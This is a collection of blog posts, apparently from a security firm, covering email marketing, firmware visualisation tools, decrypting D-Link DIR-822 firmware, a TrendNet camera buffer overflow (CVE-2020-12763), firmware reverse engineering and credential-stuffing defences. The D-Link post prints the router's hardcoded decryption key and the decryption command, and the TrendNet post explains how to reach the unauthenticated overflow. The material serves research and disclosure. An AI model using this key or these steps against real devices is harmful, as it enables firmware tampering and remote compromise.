Author name: vrbs0803

Using Email Marketing: To Nurture Leads & Drive Conversions.

E-mail Global Communications Connection Social Networking Concept

Introduction:

In today’s highly competitive tech industry, effective lead nurturing is crucial for businesses to stand out and drive conversions. While there are numerous marketing channels available, email marketing remains a powerful tool for nurturing leads and engaging with potential customers. By implementing a well-crafted email marketing strategy, tech companies can build strong relationships with their leads, keep them engaged, and ultimately drive conversions. In this blog post, we will explore the benefits of using email marketing for lead nurturing and discuss some best practices to maximize its effectiveness in the tech industry.

Building a High-Quality Email List:

b9i2

The foundation of successful email marketing lies in building a high-quality email list. Start by capturing leads through your website, landing pages, webinars, or events. Offer valuable content such as e-books, whitepapers, or industry reports in exchange for email addresses. Ensure that your subscribers have explicitly opted in to receive emails from you, ensuring compliance with anti-spam regulations. A targeted and engaged email list will yield higher open rates and conversions.

Segmentation and Personalization:

b9i3

One size does not fit all when it comes to email marketing. Segmenting your email list based on relevant criteria such as demographics, interests, or past interactions allows you to deliver personalized content and messaging. Personalization goes beyond just addressing recipients by name; it involves tailoring the email content to their specific needs and preferences. By sending targeted and relevant emails, you increase the chances of nurturing leads and driving conversions.

Drip Campaigns and Lead Nurturing:

b9i4

Drip campaigns are a series of automated emails sent to leads over a predefined period. These campaigns allow you to nurture leads at different stages of the sales funnel. Create a well-thought-out sequence of emails that gradually provide valuable information, address pain points, and showcase the benefits of your tech products or services. Use compelling subject lines and engaging content to keep your leads interested and encourage them to take the desired actions.

Educational and Informative Content:

b9i5

In the tech industry, where products and services can be complex, it is crucial to educate and inform your leads through email content. Provide valuable insights, tips, tutorials, and case studies that showcase your expertise and establish your brand as a trusted authority. By positioning yourself as a helpful resource, you not only nurture leads but also build credibility and trust, making conversions more likely.

Call-to-Action (CTA) Optimization:

b9i6

Every email you send should have a clear and compelling call-to-action. Whether it’s encouraging leads to download a free trial, sign up for a webinar, or request a demo, make sure your CTAs are prominently displayed and easily accessible. Use persuasive language, highlight the benefits, and create a sense of urgency to prompt immediate action. A well-optimized CTA can significantly improve click-through rates and conversions.

A/B Testing and Analytics:

b9i7

To continuously improve your email marketing efforts, utilize A/B testing. Experiment with different subject lines, email designs, CTAs, and content variations to identify what resonates best with your audience. Analyze the performance metrics such as open rates, click-through rates, and conversions to gain insights and make data-driven decisions. Regularly review and refine your email marketing strategy based on the results.

Mobile Optimization:

b9i8

In an increasingly mobile-driven world, optimizing your emails for mobile devices is essential. Ensure that your email templates are responsive and display properly on various screen sizes. Optimize your content to be easily scan able, use concise subject lines, and include mobile-friendly CTAs. By providing a seamless mobile experience, you cater to the preferences of a significant portion of your audience and maximize engagement.

Conclusion:

Email marketing remains a powerful tool for nurturing leads and driving conversions in the tech industry. By building a high-quality email list, segmenting and personalizing your campaigns, leveraging drip campaigns, providing educational content, optimizing CTAs, testing and analyzing your efforts, and prioritizing mobile optimization, you can effectively nurture leads and guide them towards conversion. Embrace the potential of email marketing and take your tech business to new heights by building lasting relationships with your audience.

Firmware Visual Analysis

Introduction

Firmware analysis gives more understanding about the embedded device and what it contains.
It helps to,

  • Identify vulnerabilities in the embedded device firmware.
  • Improve product stability and resistance to attacks.
  • Do security auditing
  • Removal of copy protection
  • Extend functionality
  • Create backdoors

Use it for good, bad or ugly, firmware analysis is definitely fun.

How much data you’ll get just by looking at the visualisation of a binary file? Is that enough to compromise a system?

Sometimes the answer is yes.

Visual analysis is one of the efficient methods in firmware analysis, especially in case of unknown firmware images.
We could take a binary file, firmware image or virtually anything to do a visual analysis. Sometimes hard troubles can crack, just by looking into it with the right tools. We could even tell the CPU instruction set architecture from a visual analysis.

Tools

Binwalk

Binwalk is not just used for visual analysis. It’s a fast, easy to use tool for analysing, reverse engineering, and extracting firmware images. It is simple to use, fully scriptable, and can be easily extended via custom signatures, extraction rules, and plugin modules.

entropy analysis using binwalk

You can get it from https://github.com/devttys0/binwalk

Bin2bmp

This is a python script to visualise binary data in a graphical form. It’s really interesting to look at different types of files.

output of bin2bmp

You can get it from https://sourceforge.net/projects/bin2bmp/

pixd

If you prefer the command line way of getting things done, here you are. It visualises the binary file in a terminal emulator. Pretty useful if the file size is small.

pixd is a tool for visualising binary data using a colour palette. It is in a lot of ways akin to a hexdump tool, except using coloured squares to represent each octet. – from github

file fingerprints generated by pixd

You’ll get pixd from https://github.com/FireyFly/pixd

Conclusion

Visual inspection is a primary step, which could help you greatly. Although firmware visualisation can help you in various ways, It’s not a complete solution. To get more out of your firmware analysis you may have to combine it with other popular methods.

A case of analysing
encrypted firmware

Introduction : Encrypted Firmware

Security analysis of the device firmware is a very crucial part of IoT Security Auditing. Obtaining firmware is amongst the many challenges of the analysis and there are tons of techniques by which you can do that. Once you have the firmware you dissect it for more extensive analysis. But the easiest method of acquiring the firmware of the device is to download it from vendor update server(usually FTP server) where they store the different version of the firmware and the technique to get the next version is coded in the firmware. To defend against this, vendors have started storing the firmware in encrypted form on the server so even if you acquire the firmware you still need to decrypt it before doing any further analysis.

Recently, I came across a very interesting article on ZDI blog where the author shares different techniques to decrypt the firmware, I highly encourage you the read the article. In this post I will walk you through a detailed analysis of firmware decryption of DLINK router DIR-822 US variant, we will use the techniques presented in that ZDI blog and look into the details of how the decryption is handled by the device and reverse engineer the decryption algorithm. So, let get started.

Firmware Diffing technique

In this section, I will summarize the ZDI post for those of you who are lazy enough to not read, and but if you have read it you can skip this section.

Lets, consider a situation where you have the version of the firmware which is encrypted and the algorithm to decrypt the update firmware is in the device firmware. When you upload the firmware it decrypts and it starts the normal update process. But let’s say that this decryption routine was not part of firmware initial factory release and at some later point in time vendor thought of introducing this security mechanism so they coded the new encrypt/decrypt API into the new firmware version. This version can be called as a transition version. Since the transition version is unencrypted we can reverse engineer the decryption algorithm and decrypt the firmware manually. This is precisely what we are going to do in this post.

Binary diffing is the technique where you take two binaries of different version of the same software and use diffing tool to understand the new functionality introduced in the new version of the program. We will use kdiff3 for file-system diffing between transition version and the version before it because in the transition version will have the encryption/decryption routine and the previous version won’t.

Product Details

Before we dive in, let’s look at some of the details of the device.

Product ID

DIR-822-US

CPU Architecture

MIPS R3000

Description

Wireless AC1200 Dual Band Router with High-Gain Antennas

Support Link

Link

Download

Link

Release History

A brief look at the release history of the router firmware. The table below shows the release date along with the version id and file name on the FTP server.

Release Date

Version Code

File name

08/02/2020

3.15B02

DIR-822_REVC_FIRMWARE_

v3.11B01_ICJG_WW_BETA.zip

03/12/2019

3.15B02

DIR-822_REVC_FIRMWARE

_v3.15B02.zip

11/07/2019

3.13B01

DIR-822_REVC_FIRMWARE

_v3.13B01.zip

10/05/2019

3.12B04

DIR-822_REVC_FIRMWARE

_v3.12B04.zip

22/04/2019

3.11B01

DIR-822_REVC_FIRMWARE

_v3.11B01.zip

17/09/2018

FW303WWb04_i4sa_middle

DIR822C1_FW303WWb04

_i4sa_middle.zip

17/09/2018

3.10B06

DIR-822_REVC_FIRMWARE

_v3.10B06.zip

14/09/2017

3.01B02

DIR-822-US_REVC_FIRMWARE

_v3.01B02.zip

08/06/2018

3.02B05

DIR-822_REVC_FIRMWARE

_v3.02B05.zip

Something seems to be odd about firmware released on 17/09/2018 about firmware FW303WWb04_i4sa_middle. Doing drudgery of unzipping the file and executing binwalk on each of firmware binary file and observing the results for each one of them I made an interesting observation which is all the firmware on and before version FW303WWb04_i4sa_middle binwalk always gave a match for at least couple of lzma compression and squashfs file system. There was no signature match for any firmware after version FW303WWb04_i4sa_middle. On further investigating the release notes pdf found in the zip file DIR822C1_FW303WWb04_i4sa_middle.zip as shown below confirms my suspicions.

This firmware update is a transition version in which the encryption/decryption was introduced as you can see there was two firmware update for the same date and also in the release note it is mentioned that _The firmware v3.10 must be upgraded from the transitional version of firmware v303WWb04middle. Seems like we have a good lead.

Visualization method

If in some case firmware protection was not mentioned in the release notes you could use the method of entropy calculation to find if the firmware is encrypted or not. In simple terms, entropy is a measure of randomness, it has a value between 0 and 1, higher the value indicates more randomness. A value near one is considered to be high entropy and vice-versa. The data which is compressed or encrypted has high entropy value.

Entropy distribution of the binary image will give us the entropy value of incremental offset of the binary file. This information will help up to guess which part of binary is encrypted/compressed and which is code. Lets look at entropy distribution of two different the binary version, a transition encrypted FW303WWb04_i4sa_middle and encrypted version 3.15B02. Let’s see how are they different from each other.

If you have noticed the difference in the graph, Figure B has a nearly constant entropy of above 0.9 which means it is highly likely that it’s encrypted throughout different parts of the firmware. In figure C initial section has low entropy then it is constantly high and then it drops again and rises again this fluctuation suggest that it a mix of code and encrypted/compressed data.

You will often see this pattern for unencrypted firmware which has fluctuating entropy initially and high entropy data in the later section. This could mean that there is code in the initial section of the binary which dynamically decompresses the code(from the later section) during device boots up.

NOTE: Encryption and Compression are both blamed equally here for high entropy as there is no exact way of telling which one of them is responsible for randomness based on entropy value.

Next, we should try to figure out what changes have been made in the new release and try to reverse the algorithm.

File System Analysis

Now that we know the transition version, lets to figure out what changes were introduced in the new version by doing file system diffing between the versions 3.02B05 and FW303WWb04_i4sa_middle. We will use kdiff3 for this purpose. We should be looking for an update in file names which has keywords like “firmware”, “update”, “upgrade”, “download” or combination of these keywords.

Dynamic Analysis of Encryption Binary

Durning the file-diff search you will can across many interesting files related to firmware update functionality but the meat of the matter was residing in file /etc/templates/hnap/StartFirmwareDownload.php on line 111 you will come across the following snippet of code.

// fw encimg

setattr(“/runtime/tmpdevdata/image_sign” ,”get”,”cat /etc/config/image_sign”);

$image_sign = query(“/runtime/tmpdevdata/image_sign”);

fwrite(“a”, $ShellPath, “encimg -d -i “.$fw_path.” -s “.$image_sign.” > /dev/console \n”);

del(“/runtime/tmpdevdata”);

From the above code we can deduce that binary called encimg is executed with command encimg -d -i <fw_path> -s <image_sign>. Next, I search for the location of encimg binary in the file system, it was located on path /usr/sbin/encimg other unknown variables are fw_path which I am assuming to be firmware path and another variable is image_sign we can trace back the value of this variable been read from /etc/config/image_sign and there is one more parameter -d which is not clear.

Let’s do some dynamic analysis to further decipher this command. Running a simple file command revealed that it is an ELF 32-bit MIPS MSB executable. We can now use qemu user-space emulator for MIPS architecture to run this binary. Go to the squashfs-root directory of the firmware and run the following command.

$ qemu-mips -L <rooth path of file system> ./usr/sbin/encimg

Usage: encimg {OPTIONS}

   -h                      : show this message.

   -v                      : Verbose mode.

   -i {input image file}   : input image file.

   -o {output image file}  : output image file.

   -e                      : encode file.

   -d                      : decode file.

   -s                      : signature.

Note: in the above command we provide -L parameter to qemu-mips which specify the path of the root directory to use to load the dependencies. Another method often used is Linux chroot.

From the above help usage message, it is clear that this is the binary used to decrypt the firmware, -s parameter is called signature but I think it is used to take decryption key as a parameter which is read from file /etc/config/image_sign. The file contained string value _wrgac43s_dlink.2015dir822c1, I assume it is the decryption key. Another parameter is -i which is the input file which will be the new received encrypted firmware file. Now let’s try to decrypt the firmware using qemu emulator.

qemu-mips -L . ./usr/sbin/encimg -d -i <path to encrypted firmware> -s wrgac43s_dlink.2015_dir822c1

Qemu user-space emulator also has another interesting and very important functionality from reversing stand-point called strace which does system-call logging made by the binary. You can enable it by providing -starce parameter to qemu it will print all the system call made by the binary, I tried it on the above binary and picked up some interesting logs as shown below.

# Aahh…. a crypto library been loaded by the binary, it

# hints that it is using some sort of encryption algorithm possiblity AES

# or some symentic encryption algorithm as we have seen there already

# a password we provide to the binary.

open(“/lib/libcrypto.so.0.9.8”, O_RDONLY) = 3

# opening the file (return fd 3)

open(“/home/vrbs/test_1.bin”, O_RDWR) = 3

stat(“/home/vrbs/test_1.bin”, 0x7fffea90) = 0

write(1,0x7f689298,99)The file length of /project/dlink/AC1200/test_1.bin is 6865072

 = 99

read(3,0x7fffeb50,4) = 4

# mmap fd 3

mmap(NULL,6865072,PROT_WRITE,MAP_SHARED,3,0) = 0x7ef51000

munmap(0x7ef51000,6865072) = 0

# again truncate operation on fd 3

ftruncate(3,6865044,0,0,0,0) = 0

# good bye fd 3

close(3) = 0

Reversing Encryption method

You can load encimg binary in your favourite disassembler/decompiler tool to do more in-depth analysis. Wandering around the function section I stumbled upon an interesting function main(0x401244), this method parses the parameter and then calls build(0x400d24) which has all the core functionality of encryption/decryption. Also, there were come crypto relate import done by the binary, some of these functions are _AES_set_encryptkey, _AES_set_decryptkey and _AES_cbcencrypt this confirms that binary is using the AES encryption algorithm which means the same key for encrypting and decrypting the files. Doing some basic research you can manage to understand the function prototype. Here is a short description of those function.

// Same prototype for AES_set_encrypt_key

AES_set_decrypt_key (

   // user input key

   const unsigned char *userKey,

   // size of key

   const int bits,

   // encryption key struct which will be used by

   // encryption function

   AES_KEY *key

)

AES_cbc_encrypt (

   // input buffer

   const unsigned char *in,

   // output buffer

   unsigned char *out,

   // buffer length

   size_t length,

   // key struct return by previous function

   const AES_KEY *key,

   // initializatin vector

   unsigned char *ivec,

   // is encryption or decryption

   const int enc

)

Let’s look at the decompilation code of the build function.

From the above code, we can say that binary file is mapped into memory with mmap function. It then setups AES_KEY data struct by either calling AES_set_encrypt_key/AES_set_decrypt_key based on parameter and uses that struct to encrypt/decrypt the payload using AES_cbc_encrypt then it writes the data back to the file using munmap function call. Nothing fancy!

Results

Once we have decrypted the firmware. Lets again have look at the entropy of the decrypted firmware.

It looks very similar to the unencrypted firmware which we saw earlier.

Enumerating Attack Surface

  • Since we are uploading a binary file to an operating system service(firmware update service) to process the file. We can find bugs in file parsing for used decryption algorithm and compromise the service process through some sort of memory corruption issue which can give us access to the system.
  • We can use the firmware patching tools like firmware mod-kit to change the firmware file and repackage it and use the same encryption binary to encrypt it and upload the file for update. If there is no method of integrity check, a patched firmware will update without any problem. Despite the use of encryption malicious firmware update remains a problem. The firmware signing mechanism is used to defeat this kind of attack.

Note: I have not tested the above-mentioned attacks, dude to the limitation of time and scope of the project. but this some I would be looking for if I were an attacker.

Firmware Auditor

Doing analysis using ten different tools can be time-consuming and error-prone, reflecting on our daily workflow we have created a tool to automate lots of chores for firmware analysis and the product is called Firmware Auditor and the community edition is free for anyone to use. As you have already seen I use Firmware Auditor for most of the analysis which we did above. you can find more details features about this product on this link and send us your feedback on the same. Firmware Auditor can be used for:

  • Entropy Graph
  • Explore the Linux file system and download any contents (enimg binary, PHP file in our case)
  • Decompiled code of build function
  • and much more

Conclusion

We saw different methods to find if the firmware is encrypted or not and saw how we can use the method of firmware diffing to find the decryption method be used and how it is used and replicated that method another firmware. We also discussed some of the attack surfaces which decryption methods open up. One needs to be aware of this when using such protection schemes.

TrendNet Wireless Camera buffer overflow vulnerability

al26e-q509k.001

CVE Details

ID : CVE-2020-12763

Description

TrendNet ProView Wireless camera TV-IP512WN (version v1.0R) is vulnerable to buffer overflow in handling RTSP packet in firmware version 1.0.4 which may result in remote code execution or denial of service. The issue is in the binary rtspd which resides in /sbin folder which is responsible for serving rtsp connection received by the device. The problem arises in parsing “Authorization: Basic” RTSP header which could be arbitrarily long, the value of this header is copied onto stack memory without any bounds check which could lead to a buffer overflow. What makes this vulnerability more severe is that the user need not be authenticated to trigger the overflow.

Before we look at the technical details it is important to note that:

  • The vulnerability was discovered in the latest version of the firmware.
  • The vulnerability has been reported to TrendNet.
  • TrendNet disagreed to verify the vulnerability on the basis that the device has reached End-Of-Life.

Vulnerable Product

Manufacturer

TrendNet

Affected Model

ProView Wireless N Network Camera TV-IP512WN (Version v1.0R)

Firmware

FW_TV-IP512P_512WN(1.0.4).zip

SHA-1 Checksum

B27998BBB4C8503E9314730F504E389B56AD6F6C

Product URL

Link

Product Images:

Firmware Details:

Vulnerability Details:

One thing to note is that the bug is discovered by doing static analysis, as I am faced issue in procuring the device due to covid-19 situation, producing the crash will little difficult. I will present many screenshots of the decompiled code in the post and to make the code more readable I have renamed lots of variable/function names.

The vulnerability a CWE-120 classic stack overflow which can lead to remote code execution(RCE) or denial of service(DOS). The overflow is in rtspd binary which is in sbin folder. This binary is responsible for handling rtsp connection received by the device.

The overflow occurs while parsing Authorization: Basic header in function(address 0x11a18) let refer to it as parse_auth_header. This function receives two parameters when called, first is the buffer which holds the request RTSP header and the second parameter is where the parsed header value is copied, below is the disassembly of that function.

Figure A: Disassembly of function which does the Authorization header parsing ( parse_auth_header)

Let try to understand this function a little bit :

  • As you can see from the above code, line 10-17 is a loop which searchers for the start of “Authorization: Basic” header and if found breaks out of the loop and forwards the pointer header by 0x15(which is the length of header key),
  • Then strstr function call is made to search for \r\n (end-of-line character) which returns a (char *)pointer.
  • The pointers created in above two points are used to calculate the size of the Authorization Basic header value by subtracting those two pointers. This value is used to find the size of the header value.
  • Then the memcpy is done from char * pointer from point 1 into the second parameter dest_buf of the function. It is at this point where the overflow could take place as no precaution is taken to check if the dest_buf is large enough to hold the auth header value. If the Authorization Basic header is very long then it can overflow the dest_buf buffer. I will prove it in a while.

Now let’s look at what are the parameter that is passed to this function. The function at 0x11ae8, let call it check_authentication, call parse_auth_header function. Let look at the disassembly of the check_authentication function.

Figure B: The decompiled code of check_authentication function

We can see on line 36 is call parse_auth_header function. The first parameter is the pointer of the first parameter of check_authentication function itself and the second parameter is the pointer to a char buffer which is of size 64. I hope you can see the problem here.

The second parameter(dest_buf) to parse_auth_header is of fixed size (64 bytes) and then is buffer is used in copying the data in parse_auth_header function at that point no bounds check done to ensure that size of the header value is less than or equal to dest_buf size.

This is all good but how do we know that this function processes the data received from the socket? good question. Let’s see what function is calling check_authentication function. Let’s call this function as is_client_authenticated, below is the disassembly of it:

Figure C : The decompiled code of is_client_authenticated function

On line 23 check_authentication function is called and based on the return value if block is executed. In if block (line24 – 35) some error message is printed on the console with the file and function name, and also there is a string which is appended to the buffer which has the string RTSP/1.0 401 Unauthorized, this buffer is then used in send call, which is a function that writes data to the socket. This proves these series of function are executing authentication and an overflow can be triggered by providing very long Authorization Basic header.

Let’s investigate it further, find all the reference to is_client_authencticate function will help us understand when is authentication check is done. Let’s look at those references

Figure D

Figure E

Figure F

Figure G

Figure H

Figure I

As you can see from the above code when various camera functionalities are triggered like PAUSE, SETUP, PLAY, TEARDOWN, etc is_client_authenticated function call is made to check if the received request has appropriate Authorization to execute the functionality. The return value of zero indicates authenticated, and then the functionality is triggered, else it simply returns.

This wikipedia page show the format of RTSP protocol which also further confirms different functionality which we saw in above Figures D – I.

Another very important point which we need to be aware of is that this bug is triggered while parsing for Authorization header which means this RCE can be triggered without authentication which raised the severity of this bug.

Conclusion

We looked at how a simple bug in packet parsing code can cause a buffer overflow. We also looked at how the attacker can trigger the bug without authentication. We couldn’t produce a working PoC of the RCE but in the second part of this post, I will try to emulate the binary with qemu and try to trigger to overflow by creating remote socket connect and create an RCE, until then happy hacking!

IoT Security

Firmware Reverse Engineering:

Introduction:

Firmware is the software counterpart of IoT devices. There are many technologies involved in building a functional IoT Firmware, and there are many vendors contributing to the development of these technologies some of which are like Cisco, Linux, Wind River, etc. In this post when I say firmware, I will mostly be referring to the software component of the device. Firmwares has varying complexity from a Bare-Metal firmware driving tiny less powerful micro-controller to microprocessor-based full-fledged Operating systems like Linux, which is used in more complex devices like router, television, etc.

In this post, we will look at different components involved in building a firmware, and then we will discuss how you can use various open-source tools to reverse engineer firmware. Reversing is an important step which will help you to do further analysis of the device and the firmware. So let’s start looking at what bare-metal firmwares are?

Bare Metal Firmware:

Depending upon the device’s application, the technology stack is used. So, if you consider a device whose task is to read and report surrounding temperature and humidity, it won’t need something very complicated software, like Linux. For those cases, Bare-Metal firmware is used. Now, what is a Bare Metal Firmware you might Ask? In simple terms, this type of firmware directly interfaces with the hardware, there is no driver or kernel involved.

Bare Metal firmware doesn’t do much complicated things, they are usually tasked with not more than 3 or 4 tasks, and those tasks are put in the loop as they are scheduled to run in specific order/condition. The SDK’s provided by the vendor for these devices provide life cycle methods that programmer write those functions are run in the loop. Some little complex feature variants of these SDK’s are FreeRTOS, mbed-os which are real-time operating systems which allow you to do task scheduling and have a very quick response to some of the interrupt requests.

Base Metal firmwares are written in C, so all attacks like buffer overflow related vulnerabilities are also valid for these firmwares. These devices usually collect data and send it to the central server or communicate with other devices connected via UART/SPI Bus(its peripherals). There are chances of finding the vulnerability in the communication protocol, incorrect handling of packets, key exchange, buffer overrun, etc.

Micro-controller based devices are not just used in sensor networks; they are everywhere, from the refrigerator, microwave oven, security alarm system, your car has dozens of these, and so does your laptop/computers. Usually, when you don’t have source code for this firmware, you take the approach of reverse engineering.

Reversing these binaries is a little different from reversing Windows EXE and Linux ELF files; they then don’t have a predefined structure. For bare-metal binaries, you need the data-sheet for the chipset and create memory-map in your disassembly tool like IDA, Ghidra, etc, to get a proper disassembly. Another very critical question memory-map also helps users to answer is what GPIOs, other peripherals is the device interacting with? This information will help to understand the functionality of the device. Now lets look at what is fully-blown operating system based firmware.

Fully Fledged Operating System:

When you see more complex systems like Routers, Smart Home Dashboard, Drones, and healthcare devices, they do little more than what bare-metal systems do. Take, for example; a typical wireless router has features like connecting by LAN and WIFI; they can blacklist/whitelist specified MAC addresses and some modern routers have antivirus software and other protection features. To implement all these functions you need a full-fledged Operation System to support all these sophisticated features.

There are many different Operating System options for embedded systems, like Linux, Windows CE, Cisco IOS, Symbian, Android, VxWorks, etc. Some of them are special-purpose like Cisco for routers, and most of them are more general purpose. General statics say that the most popular choice of OS amongst embedded system products is Linux. There are many reasons for that, some of which is its open-source nature, flexibility, and most importantly, it’s free. You can find Linux powered Devices around like internet routers, infotainment systems, etc.

This kind of firmwares is usually packaged with at least three components, Bootloader, Kernel, and the file-system. The Bootloader is the piece of software that helps in loading Operating System, Kernel and passes various information needs. Once the bootloader has done executing the Kernel take over. Once the kernel has started executing, it starts other user applications to make an Operating System usable by the end-user. This usually involves starting various applications and services in the background. Once all this is done then the user can interact with the system. All the user application and app data are stored on the file-system.

Security assessments of these devices usually start with auditing applications running on these devices; Most juicy targets are the remote application services. Issues discovered in these services have a high impact on the security of the device as attackers don’t need to be anywhere near it to compromise it. Anyone on the internet can take control of it if they can exploit the vulnerability. These services are usually web-servers used to configure and control the device features or other services like UPnP, which help in discovering the device by other devices.

Security Tools:

Now that we have a high-level overview of how firmware looks like, the next question that comes to your mind is how do you start dissecting the firmware and start analyzing the firmware. An analysis can broadly be classified into the static and dynamic analysis. In static analysis, you read the code and look for bugs. If you don’t have the source code you start reverse-engineering the binary and read the assembly instructions to understand the functionality. While on the other side, dynamic analysis involves running the application and observing its behaviours.

When analyzing a firmware, I usually used a combination of both the analysis techniques to achieve my goal. Below are the list of some of the tools which I frequently use:

  1. Binwalk – this perhaps is one of the most popular tools for unpacking a firmware. It is a firmware extraction tool, it tries to crave out binaries inside any binary blob. It does this by searching for signatures for many of the common binary file formats like zip, tar, exe, ELF, etc. Binwalk has the database of binary header signatures against which the signature match is done. The common objective of using this tool is to extract the file system like Squashfs, yaffs2, Cramfs, ext*fs, jffs2, etc. which is embedded in the firmware binary. The file system has all the application code that will be running on the device. This tool also has many parameters that you can tweak to make extraction better. You can visit this linkto read more details about what are different parameter and how to use them.
  2. Qemu – this is a valuable tool for people working on cross-architectures (like ARM, MIPS, etc.) environment which usually is the case for embedded developers. This tool provides a way to emulate binary firmware for different architectures like ARM, MIPS, etc on the host system, which is of different architectures like x86, amd64. This kind of tool is handy when you want to audit a firmware but you don’t have the device or setting up a debugger for that system is very difficult. Qemu can help you to do full-system emulation or a single binary emulation of ELF file for the Linux system and many different platforms. You can check this linkto get more details about the project.
  3. gdb-multiarch – GDB is a dynamic debugging tool used when you want to pause a running process and inspect its memory and registers. However, gdb supports just the architecture for which it is compiled. But when you want to debug the application of different architecture for cross-architecture support, you will need its sister project gdb-multiarch, which helps you to do cross-architecture debugging.
  4. Firmware ModKit – This tool helps you to patch the firmware and repackage it. It extracts the firmware using Binwalk and gives you a directory that has the firmware file-system laid out. You can then patch whatever you want, add/delete a file or patch an existing and the ModKit can pack it back up such that you can flash the new firmware on the device storage and boot up the newly patched firmware. You can download the code for this tool from this link.

My workflow when working with firmware involves all of these tools. The first step usually starts with unpacking the firmware with Binwalk. Next, try to emulate the application of interest in the firmware with the Qemu. If I am not able to emulate the binary, then I investigate the issue with gdb and patch it so that Qemu can run it and look for security issues. This setup also helps me to fuzz the service.

Conclusion

We looked at what the firmware is and what are different types of IoT Firmware you will encounter when assessing an IoT Device. I gave you an overview of how to deal with a different kind of firmware, and we also looked at how different tools can help us to security analysis of a firmware.

An easy guide to
Credential Stuffing Attacks – How businesses can Detect and Prevent it?

Wondering if you have been a victim of a Credential Stuffing Attack? The answer is most likely YES! Surprisingly via platforms or applications of famous brands! Indeed, credential stuffing attacks are more common than you think; here are some of the shocking data breaches which conclude that Credential Stuffing Attacks’ can happen to any brand, big or small.

8fit

In 2018, 8fit, a health and fitness service app, suffered a data breach. After the violation, the attacker initiated the credential stuffing attack and later sold it on the dark web marketplace in February 2019. Compromised data: Email addresses, Genders, Geographic locations, IP addresses, Names, Passwords.

BigBasket

In 2020, Bigbasket witnessed a data breach that impacted all its users. Before leaking the data publicly, the attacker was selling the data on the dark web. Compromised data: Dates of birth, Email addresses, IP addresses, Names, Passwords, Phone numbers, Physical addresses.

Canva

In 2019, the famous brand Canva, a graphic design tool website, suffered a data breach. This Attack impacted 137 million Canva users. Compromised data: Email addresses, Geographic locations, Names, Passwords, Usernames.

Dunzo

In 2019 June, the Indian brand Dunzo, a hyperlocal delivery service, suffered a data breach. This incident impacted 3.5 million unique email addresses. Compromised data: Device information, Email addresses, Geographic locations, IP addresses, Names, Phone numbers.

Recently, the internet has witnessed an unprecedented increase in Credential Stuffing Attacks. Cybersecurity experts have issued warnings and alerts against it. In this blog, we will decode what Credential Stuffing Attack is, the cause of its rise, and how to prevent it.

 

Decoding Credential Stuffing Attacks for Beginners

Credential Stuffing is a cybercrime happening all around the globe. It occurs when a hacker obtains many stolen or leaked login credentials (Username and Passwords) of one website and tests them on other platforms.

For example, the “Username and Password” of Email are the same as their bank accounts. Taking advantage of this, hackers acquire account credentials of platforms like Email that mostly have common or long-term passwords and use them to access crucial platforms like bank accounts to execute the fraudulent activity.

Is it Risky? – Indeed!

The hacker with unauthorized access attacks the victim’s bank account, e-commerce, or OTT account by drawing off funds, stealing credit or debit information or loyalty points, and sometimes committing another cybercrime. When taking all the possible advantages, the attacker sells the credentials on the dark web to make more profit, which is just the beginning of another cybercrime story.

Usually, credentials data breaches are from the famous brands of EdTech, OTT platforms, e-commerce, and e-retail applications, for which many users share common or long-term passwords.

Reasons why credentials stuffing attack is so prevalent!

The universally accepted identity mechanism: Credentials like “Usernames and Passwords” are the standard and trusted identity mechanism for access control. Almost all online portals or mobile apps grant access to users by identifying valid usernames and passwords.

Unfortunately, this type of authentication is partially secure since it relies on just one factor: Something the user knows which someone else can quickly learn, e.g., birthdays, names, regular terms, etc. Extra security requires users to provide additional and distinct authentication factors, such as code or a biometric feature such as a fingerprint.

People mostly reuse passwords for multiple accounts: An average person has nearly 100 passwords, according to the research by Nordpass. Creating or remembering so many passwords is next to impossible. Hence it is apparent that many people reuse passwords for many or all accounts. Taking advantage of this, attackers obtain legitimate credentials from one website and try their luck on other websites.

Outrageous data breaches continue to occur: In 2005, we saw the first data breach of over 1 million records, followed by another breach of 94 million records. We thought this would be the most significant data breach, but the Yahoo data breach exposed an astonishing 3 billion records eight years later. The violations have continued to climb ever since.

A profitable crime – Low-Cost Entry, High Returns: Credential Stuffing is a numbers game. Even a novice cybercriminal can test 100,000 credentials for less than 200$. Although the typical success rate is around 0.2 to 2%, the intruder can obtain anywhere from 200 to 2,000 accounts from a single attack. A million fraudulent login attempts could yield as many as 20,000 valid accounts for a cybercriminal willing to make a more significant investment. Attackers can run the same test on other websites with a similar success rate. After milking the advantages from the credentials, they can sell those ‘used’ credentials on the dark web to make more money.

A large window of opportunity: The users are mostly unaware of the data breaches for months or even years after they occur. The average time of crime discovery or public disclosure is around 15 months; it gives the attacker a large window of time to intrude and abuse stolen credentials.

Is Credential Stuffing happening right now? How to detect it?

Attackers use botnets and automated tools that support proxies to distribute rogue requests across different IP addresses to perform the credential stuffing attack. Therefore, several login failures occur over a short period, which signifies that an attack is in progress. There are also some commercial web application firewalls and services which use advanced behavioural techniques to detect suspicious login attempts.

We know how to defend the attack – Here’s how…

MFA- Multi-factor Authentication: Although some automated phishing and account takeover tools can bypass MFA, those attacks require more resources and are harder to pull off mass credential stuffing. Hence, MFA makes it challenging for attackers to perform fraud.

But due to the usability cost of MFA, many organizations provide it as an option. On the other hand, making MFA mandatory for all user accounts is considered too disruptive for business.

Hence a better way to prevent attacks is automatically enabling MFA for users at greater risk. For example, to allow MFA to users after several failed login attempts. Additionally, recommend users make a strong password, a combination of special characters, uppercase, lowercase, numbers, etc.

CAPTCHA: When users insert CAPTCHA, they prove they are human, which can reduce credential stuffing effectiveness. However, by using headless browsers, attackers can easily bypass CAPTCHA. Hence, combining the application of MFA, CAPTCHA with other methods can guard against attacks.

Block Headless Browsers: JavaScript can swiftly identify Headless Browsers such as PhantomJS used by the attackers. Headless Browsers are not legitimate and are undoubtedly suspicious. Blocking it can surely benefit.

Fingerprinting: With the help of JavaScript, you can collect information about users’ devices and create a ‘Fingerprint’ for each session. The fingerprint combines parameters like operating system, language, browser, time zone, user agent, etc. If several attempts with the same parameters log in, it will likely be a brute force or credential stuffing attack. With the combination of fingerprints and other parameters, enforce more severe measures, for example, banning the IP. To capture more attacks, combine 2-3 standard parameters and implement less extreme measures like a temporary ban.

IP Blacklisting: Another effective defence is to block or sandbox IPs that attempt to log into multiple accounts because attackers typically have a limited pool of IP addresses.

Rate-Limit Non-Residential Traffic Sources: Identification of traffic originating from Amazon Web Services or other commercial data centres is easy. Mostly, this traffic is bot traffic and should be treated carefully than the regular one. Cap the rate limits and ban IPs with suspicious behaviour.

Disallow Email Addresses as User IDs: Credential stuffing relies on using the same usernames or account IDs across services, which is inevitable when ID is an email address. Restrain users from using their email address as an account ID to reduce the chance of using the same user/password pair on another site.

